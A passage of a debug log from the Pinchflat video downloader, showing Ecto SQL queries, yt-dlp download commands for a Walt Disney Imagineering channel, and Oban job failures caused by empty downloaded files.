m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:08:21.507 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:21.507 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:21.507 [debug] Running yt-dlp command for action: get_downloadable_status 19:08:21.508 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:21.508 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:21.508 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:21.508 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0b/75/0b7557e1746e3c32cffce2d693c22baaa3f4156c086cc07520cf601956ba0308.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:08:26.612 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0b/75/0b7557e1746e3c32cffce2d693c22baaa3f4156c086cc07520cf601956ba0308.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:08:26.613 [debug] Running yt-dlp command for action: download 19:08:26.613 [debug] QUERY OK source="settings" db=0.1ms idle=110.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:26.613 [debug] QUERY OK source="settings" db=0.1ms idle=93.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:26.614 [debug] QUERY OK source="settings" db=0.0ms idle=93.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:26.614 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/0e/a7/0ea7e87d044847e40e660068c042b634af286762d58e2f15237ef7d1de3ac4ec.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:08:36.163 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/18/3f/183f79f892794cd6763144d5841dcb5df111c3cd560cda725a5664ddfa332116.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:08:36.163 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 19:08:36.163 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":323564126,"event":"job:exception","queue_time":31759297,"attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:08:49.991 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:55.543 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1774998535543466629,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:08:55.543 [debug] QUERY OK source="media_items" db=0.1ms idle=1008.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 19:08:55.544 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:08:55.544 [debug] QUERY OK source="sources" db=0.1ms idle=23.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:08:55.544 [debug] QUERY OK source="media_profiles" db=0.2ms idle=23.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:08:55.545 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 19:08:55.545 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 19:08:55.545 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:08:55.546 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:55.546 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:55.546 [debug] Running yt-dlp command for action: get_downloadable_status 19:08:55.547 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:55.547 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:55.547 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:55.547 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/99/82/9982c96fac1ec709aedbf32800689284bab10389ee5b238b07ecb0530d4276fd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:08:59.541 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/99/82/9982c96fac1ec709aedbf32800689284bab10389ee5b238b07ecb0530d4276fd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:08:59.541 [debug] Running yt-dlp command for action: download 19:08:59.542 [debug] QUERY OK source="settings" db=0.1ms idle=21.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:59.542 [debug] QUERY OK source="settings" db=0.0ms idle=21.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:59.542 [debug] QUERY OK source="settings" db=0.1ms idle=21.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:59.542 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/cc/3e/cc3e1b2756793b67dfe71ed8244c8294e8340fdd5b30d089ced3dd36ad9faa1a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:09:00.976 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:09:11.088 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/0e/a7/0ea7e87d044847e40e660068c042b634af286762d58e2f15237ef7d1de3ac4ec.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:09:11.088 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 19:09:11.089 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":49584237,"event":"job:exception","queue_time":421107,"attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:09:19.993 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:25.575 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1774998565575323566,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:09:25.575 [debug] QUERY OK source="media_items" db=0.2ms idle=1008.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 19:09:25.576 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:09:25.576 [debug] QUERY OK source="sources" db=0.2ms idle=55.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:09:25.576 [debug] QUERY OK source="media_profiles" db=0.1ms idle=55.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:09:25.577 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 19:09:25.577 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 19:09:25.577 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:09:25.578 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:09:25.578 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:09:25.578 [debug] Running yt-dlp command for action: get_downloadable_status 19:09:25.579 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:09:25.579 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:09:25.579 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:09:25.579 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6e/30/6e30acc4edcc3954a1e3421cba65deb6d8573f29c48402083f98845473335a50.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:09:30.777 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6e/30/6e30acc4edcc3954a1e3421cba65deb6d8573f29c48402083f98845473335a50.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:09:30.778 [debug] Running yt-dlp command for action: download 19:09:30.778 [debug] QUERY OK source="settings" db=0.1ms idle=1257.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:09:30.778 [debug] QUERY OK source="settings" db=0.0ms idle=1257.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:09:30.778 [debug] QUERY OK source="settings" db=0.0ms idle=1258.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:09:30.779 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/db/6e/db6e98b62df12cce1ed4a02d945bda064740cc65bdbbd4afac3235e3f4b172f0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:09:49.994 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.977 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:10:19.995 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:31.354 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/db/6e/db6e98b62df12cce1ed4a02d945bda064740cc65bdbbd4afac3235e3f4b172f0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:10:31.354 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 19:10:31.355 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, 